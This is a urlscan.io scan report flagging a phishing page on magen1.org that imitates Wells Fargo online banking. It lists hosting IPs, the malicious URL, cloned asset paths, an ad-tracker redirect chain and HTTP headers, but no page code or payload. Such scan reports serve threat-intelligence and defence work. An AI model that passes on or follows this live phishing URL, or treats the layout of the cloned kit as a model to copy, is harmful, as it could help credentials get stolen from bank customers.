magen1.org Open in urlscan Pro
62.90.247.57 Malicious Activity! Public Scan

Go To Rescan
Add Verdict Report

URL:
http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php
Submission: On February 18 via automatic, source openphish (February 18th 2018, 11:14:04 pm UTC)

Summary HTTP 23 Redirects Links 21 Behaviour Indicators

Summary

This website contacted 4 IPs in 4 countries across 4 domains to perform 23 HTTP transactions. The main IP is 62.90.247.57, located in Israel and belongs to NV-ASN 013 NetVision Ltd., IL. The main domain is magen1.org.

This is the only time magen1.org was scanned on urlscan.io!

urlscan.io Verdict: Potentially Malicious

Targeting these brands: Wells Fargo (Banking)

Domain & IP information

	IP Address	AS Autonomous System
21	62.90.247.57 62.90.247.57	1680 (NV-ASN 01...) (NV-ASN 013 NetVision Ltd.)
1 2	89.207.16.158 89.207.16.158	25751 (VALUECLICK) (VALUECLICK - Conversant)
1 1	63.215.202.137 63.215.202.137	25751 (VALUECLICK) (VALUECLICK - Conversant)
1	104.18.40.241 104.18.40.241	13335 (CLOUDFLAR...) (CLOUDFLARENET - Cloudflare)
23	4

21 62.90.247.57 (Israel)

ASN1680 (NV-ASN 013 NetVision Ltd., IL)

magen1.org	Domain lookup VirusTotal SecurityTrails crt.sh Censys Domaintools

2 89.207.16.158 (Sweden) 1 redirects

ASN25751 (VALUECLICK - Conversant, Inc., US)

adfarm.mediaplex.com	Domain lookup VirusTotal SecurityTrails crt.sh Censys Domaintools

1 63.215.202.137 (Amsterdam, Netherlands) 1 redirects

ASN25751 (VALUECLICK - Conversant, Inc., US)
PTR: ams01-usadmm.dotomi.com

ams-login.dotomi.com	Domain lookup VirusTotal SecurityTrails crt.sh Censys Domaintools

1 104.18.40.241 (San Francisco, United States)

ASN13335 (CLOUDFLARENET - Cloudflare, Inc., US)

www.superfish.com	Domain lookup VirusTotal SecurityTrails crt.sh Censys Domaintools

	Apex Domain Subdomains	Transfer
21	magen1.org magen1.org	236 KB
2	mediaplex.com 1 redirects adfarm.mediaplex.com	1 KB
1	superfish.com www.superfish.com
1	dotomi.com 1 redirects ams-login.dotomi.com	446 B
23	4

	Domain	Requested by
21	magen1.org	magen1.org
2	adfarm.mediaplex.com	1 redirects magen1.org
1	www.superfish.com	text
1	ams-login.dotomi.com	1 redirects
23	4

This site contains links to these domains. Also see Links.

Domain
online.wellsfargo.com
www.wellsfargo.com

Subject Issuer	Validity	Valid

This page contains 1 frames:

Primary Page: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php
Frame ID: (D11B0F720F134EF4993898F739691740)
Requests: 24 HTTP requests in this frame

Screenshot
Live screenshot

Full Image

Detected technologies

PHP (Programming Languages) Expand

Overall confidence: 100%
Detected patterns

url /\.php(?:$|\?)/i

LiteSpeed (Web Servers) Expand

Overall confidence: 100%
Detected patterns

headers server /^LiteSpeed$/i

Lightbox (JavaScript Libraries) Expand

jQuery (JavaScript Libraries) Expand

Overall confidence: 100%
Detected patterns

script /jquery.*\.js/i
env /^jQuery$/i
script /jquery-ui.*\.js/i

jQuery UI (JavaScript Libraries) Expand

Overall confidence: 100%
Detected patterns

script /jquery-ui.*\.js/i

Page Statistics

23
Requests

0 %
HTTPS

0 %
IPv6

4
Domains

4
Subdomains

4
IPs

4
Countries

237 kB
Transfer

501 kB
Size

0
Cookies

21 Outgoing links

These are links going to different origins than the main page.

URL: https://online.wellsfargo.com/das/cgi-bin/session.cgi?sessargs=bSS6ljiprqaeQswrFfSEfpqPtUErlm5K

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/auxiliary_access/aa_talkatmloc

Search URL Search Domain Scan URL

URL: https://online.wellsfargo.com/das/channel/enrollDisplay?LOB=CONS&OFFERCODE=WEB&#skip

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/help/
Title: Customer Service

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/locator/
Title: Locations

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/products_services/applications_viewall.jhtml
Title: Apply

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/per/more/banking
Title: Banking

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/per/more/loans_credit
Title: Loans & Credit

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/insurance/
Title: Insurance

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/investing/more
Title: Investing

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/help/enroll.jhtml
Title: Online Banking Enrollment

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/privacy_security/online/guarantee
Title: Online Security Guarantee

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/privacy_security/
Title: Privacy, Security and Legal

Search URL Search Domain Scan URL

URL: https://online.wellsfargo.com/das/common/html/wibdisc.html
Title: Online Access Agreement

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/securityquestions
Title: Security Questions Overview

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/about/about
Title: About Wells Fargo

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/careers/
Title: Careers

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/privacy_security/fraud/report/fraud
Title: Report Email Fraud

Search URL Search Domain Scan URL

URL: https://www.wellsfargo.com/sitemap
Title: Sitemap

Search URL Search Domain Scan URL

URL: https://online.wellsfargo.com/das/channel/enrollDisplay?LOB=CONS&OFFERCODE=WEB&

Search URL Search Domain Scan URL

Redirected requests

There were HTTP redirect chains for the following requests:

Request Chain 21

http://adfarm.mediaplex.com/ad/bk/994-1668-2054-5?COL01STO=1&Unique_ID=11201505250225211793504995 HTTP 302
http://ams-login.dotomi.com/commonid/match?rurl=http%3A%2F%2Fadfarm.mediaplex.com%2Fad%2Fbk%2F994-1668-2054-5%3Fmpu_token%3DAAAFvcXZNH0KfgAFCY46AAAAAAA%26COL01STO%3D1%26Unique_ID%3D11201505250225211793504995&user_token=AAAFvcXZNH0KfgAFCY46AAAAAAA&tok=lPssnxIv%2BBo%3D HTTP 302
http://adfarm.mediaplex.com/ad/bk/994-1668-2054-5?mpu_token=AAAFvcXZNH0KfgAFCY46AAAAAAA&COL01STO=1&Unique_ID=11201505250225211793504995&status=0

23 HTTP transactions
1 data transactions

Method Protocol	Status	Resource Path	Size x-fer	Time Latency	Type MIME-Type	IP Location
GET H/1.1	200 OK	Primary Request question.php Show response magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/	20 KB 6 KB	439ms 369ms	Document text/html	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / PHP/5.4.45 Resource Hash `a89b85e7f39bf42eab0547929e0ae5f25b7a17223371d34f3fba566dffa06ffb` Request headers Accept text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 Connection keep-alive Accept-Encoding gzip, deflate Host magen1.org Upgrade-Insecure-Requests 1 User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Upgrade-Insecure-Requests 1 User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:46 GMT Content-Encoding gzip Server LiteSpeed X-Powered-By PHP/5.4.45 Vary Accept-Encoding Content-Type text/html Transfer-Encoding chunked Connection close Accept-Ranges bytes
GET H/1.1	200 OK	wfwiblib.js Show response magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/	61 KB 13 KB	143ms 72ms	Script application/javascript	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/wfwiblib.js Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / Resource Hash `5094cb9fb82e0f1f5951a7dfc5f357a62602862de942d692355f195fb93783cf` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept / Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:46 GMT Content-Encoding gzip Last-Modified Sat, 29 Jun 2013 04:24:00 GMT Server LiteSpeed Vary Accept-Encoding Content-Type application/javascript Cache-Control public, max-age=604800 Connection Keep-Alive Accept-Ranges bytes Content-Length 13128 Expires Sun, 25 Feb 2018 23:13:46 GMT
GET H/1.1	200 OK	jquery.js Show response magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/	214 KB 62 KB	152ms 77ms	Script application/javascript	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/jquery.js Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / Resource Hash `d64d563a5b1e1542c779ece943f88ccf61d18b5bd3f83733808a0ff6099635ce` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept / Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:46 GMT Content-Encoding gzip Last-Modified Sat, 29 Jun 2013 04:24:00 GMT Server LiteSpeed Vary Accept-Encoding Content-Type application/javascript Cache-Control public, max-age=604800 Connection Keep-Alive Accept-Ranges bytes Content-Length 63323 Expires Sun, 25 Feb 2018 23:13:46 GMT
GET H/1.1	200 OK	jquery-ui.js Show response magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/	32 KB 9 KB	150ms 75ms	Script application/javascript	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/jquery-ui.js Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / Resource Hash `29ad85d10678437a5e68923c8894dbfaa0b8c708da9fdecb2f74691625ad6c9c` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept / Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:46 GMT Content-Encoding gzip Last-Modified Sat, 29 Jun 2013 04:24:00 GMT Server LiteSpeed Vary Accept-Encoding Content-Type application/javascript Cache-Control public, max-age=604800 Connection Keep-Alive Accept-Ranges bytes Content-Length 8764 Expires Sun, 25 Feb 2018 23:13:46 GMT
GET H/1.1	200 OK	util.js Show response magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/	23 KB 8 KB	153ms 77ms	Script application/javascript	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/util.js Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / Resource Hash `54967cc9397b5b04a7c05e0340c8b6b8c055fbc9629f214e431bbeea2a0ff486` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept / Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:46 GMT Content-Encoding gzip Last-Modified Sat, 29 Jun 2013 04:24:00 GMT Server LiteSpeed Vary Accept-Encoding Content-Type application/javascript Cache-Control public, max-age=604800 Connection Keep-Alive Accept-Ranges bytes Content-Length 7511 Expires Sun, 25 Feb 2018 23:13:46 GMT
GET H/1.1	200 OK	async-keepalive.css magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/	59 B 349 B	135ms 68ms	Stylesheet text/css	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/async-keepalive.css Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / Resource Hash `c0fc8aa23f59a81228c1afba9511ed21d439df804a4e2d508ac6a4e0ae617b6f` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept text/css,/;q=0.1 Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:46 GMT Last-Modified Sat, 29 Jun 2013 04:24:00 GMT Server LiteSpeed Content-Type text/css Cache-Control public, max-age=604800 Connection Keep-Alive Accept-Ranges bytes Content-Length 59 Expires Sun, 25 Feb 2018 23:13:46 GMT
GET H/1.1	200 OK	async-keepalive.js Show response magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/	3 KB 2 KB	203ms 68ms	Script application/javascript	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/async-keepalive.js Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / Resource Hash `ff09fe9841b3d449cc54658471f67300b3d942e9cf5dcda72d2b920b344da6c4` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept / Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:46 GMT Content-Encoding gzip Last-Modified Sat, 29 Jun 2013 04:24:00 GMT Server LiteSpeed Vary Accept-Encoding Content-Type application/javascript Cache-Control public, max-age=604800 Connection Keep-Alive Accept-Ranges bytes Content-Length 1242 Expires Sun, 25 Feb 2018 23:13:46 GMT
GET H/1.1	200 OK	publicsite.css magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/	13 KB 4 KB	139ms 70ms	Stylesheet text/css	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / Resource Hash `085feb6b778a68fcc9fbbfc02de8e824a85d97c2ff1e6f790731373d0a505b62` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept text/css,/;q=0.1 Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:46 GMT Content-Encoding gzip Last-Modified Sat, 29 Jun 2013 04:24:00 GMT Server LiteSpeed Vary Accept-Encoding Content-Type text/css Cache-Control public, max-age=604800 Connection Keep-Alive Accept-Ranges bytes Content-Length 3424 Expires Sun, 25 Feb 2018 23:13:46 GMT
GET H/1.1	200 OK	logo_62sq.gif magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/	616 B 908 B	74ms 73ms	Image image/gif	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Show image Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/logo_62sq.gif Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / Resource Hash `ebf4a535fa6a88962621940e780ca0cd6707b6cdaed59f469f0aeada311d09d1` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept image/webp,image/apng,image/,/;q=0.8 Referer* http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:46 GMT Last-Modified Sat, 29 Jun 2013 04:24:00 GMT Server LiteSpeed Content-Type image/gif Cache-Control public, max-age=604800 Connection Keep-Alive Accept-Ranges bytes Content-Length 616 Expires Sun, 25 Feb 2018 23:13:46 GMT
GET H/1.1	200 OK	shim.gif magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/	43 B 334 B	77ms 76ms	Image image/gif	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Show image Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/shim.gif Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / Resource Hash `89fe0ee6020314794fc2cfeacf3d10c31050cfe56f8ebddf1ed0a33fbe941fa7` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept image/webp,image/apng,image/,/;q=0.8 Referer* http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:46 GMT Last-Modified Sat, 29 Jun 2013 04:24:00 GMT Server LiteSpeed Content-Type image/gif Cache-Control public, max-age=604800 Connection Keep-Alive Accept-Ranges bytes Content-Length 43 Expires Sun, 25 Feb 2018 23:13:46 GMT
GET H/1.1	200 OK	enroll-lightbox.js Show response magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/	2 KB 1 KB	68ms 68ms	Script application/javascript	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/enroll-lightbox.js Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / Resource Hash `db6526b270437e0055277dc7649cb134744c33627573950f17f4b52499adb2d8` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept / Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:46 GMT Content-Encoding gzip Last-Modified Sat, 29 Jun 2013 04:24:00 GMT Server LiteSpeed Vary Accept-Encoding Content-Type application/javascript Cache-Control public, max-age=604800 Connection Keep-Alive Accept-Ranges bytes Content-Length 909 Expires Sun, 25 Feb 2018 23:13:46 GMT
GET H/1.1	200 OK	close_lb_weak.gif magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/	152 B 444 B	75ms 74ms	Image image/gif	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Show image Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/close_lb_weak.gif Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / Resource Hash `6e1fbacc5af53bf9b483f27525bba242dfdee626dbe4ac25f2ea1af4a130b1ea` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept image/webp,image/apng,image/,/;q=0.8 Referer* http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:46 GMT Last-Modified Sat, 29 Jun 2013 04:24:00 GMT Server LiteSpeed Content-Type image/gif Cache-Control public, max-age=604800 Connection Keep-Alive Accept-Ranges bytes Content-Length 152 Expires Sun, 25 Feb 2018 23:13:46 GMT
GET H/1.1	200 OK	mediaplexROI.js Show response magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/	3 KB 1 KB	68ms 68ms	Script application/javascript	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/mediaplexROI.js Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / Resource Hash `c512aef01c7057499342f8552124fcadb63ec0351f649b30d1dfa39af70f8c67` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept / Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:46 GMT Content-Encoding gzip Last-Modified Sat, 29 Jun 2013 04:24:00 GMT Server LiteSpeed Vary Accept-Encoding Content-Type application/javascript Cache-Control public, max-age=604800 Connection Keep-Alive Accept-Ranges bytes Content-Length 1173 Expires Sun, 25 Feb 2018 23:13:46 GMT
GET H/1.1	200 OK	994-1668-2054-5 magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/	49 B 276 B	72ms 71ms	Image application/octet-stream	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Show image Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/994-1668-2054-5 Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / Resource Hash `2f561b02a49376e3679acd5975e3790abdff09ecbadfa1e1858c7ba26e3ffcef` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept image/webp,image/apng,image/,/;q=0.8 Referer* http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:46 GMT Last-Modified Sat, 29 Jun 2013 04:24:00 GMT Server LiteSpeed Connection Keep-Alive Accept-Ranges bytes Content-Length 49 Content-Type application/octet-stream
GET DATA	200 OK	truncated Show response /	2 KB 0		Script text/javascript
